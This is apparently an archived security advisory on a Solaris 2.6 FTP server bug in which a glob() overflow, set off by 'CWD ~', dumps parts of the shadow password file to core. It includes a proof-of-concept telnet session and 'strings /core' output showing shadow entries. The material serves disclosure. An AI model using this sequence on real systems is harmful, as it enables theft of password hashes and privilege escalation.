Solaris 2.6 - FTP Core Dump Shadow Password Recovery

source: https://www.securityfocus.com/bid/2601/info

Solaris is the variant of the UNIX Operating System distributed by Sun Microsystems. Solaris is designed as a scalable operating system for the Intel x86 and Sun Sparc platforms, and operates on machines varying from desktop to enterprise server.

A problem in the ftp server included with the Solaris Operating System could allow a local user to recover parts of the shadow file, containing encrypted passwords. Due to a previously known problem involving a buffer overflow in glob(), it is possible to cause a buffer overflow in the Solaris ftp server, which will dump parts of the shadow file to core. This can be done with the CWD ~ command, using a non-standard ftp client.

Therefore, a local user could cause a buffer overflow in the ftp server, and upon reading the core file, recover passwords for other local users, potentially gaining elevated privileges.

[root@ /usr/sbin]> telnet localhost 21
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 sun26 FTP server (SunOS 5.6) ready.
user warning3
331 Password required for warning3. <-- a valid username
pass blahblah <--- a wrong password
530 Login incorrect.
CWD ~
530 Please login with USER and PASS.
Connection closed by foreign host.
[root@ /usr/sbin]> ls -l /core
-rw-r--r-- 1 root root 284304 Apr 16 10:20 /core
[root@ /usr/sbin]> strings /core|more
[...snip...]
lp:NP:6445::::::
P:64
eH::::
uucp:NP:6445:::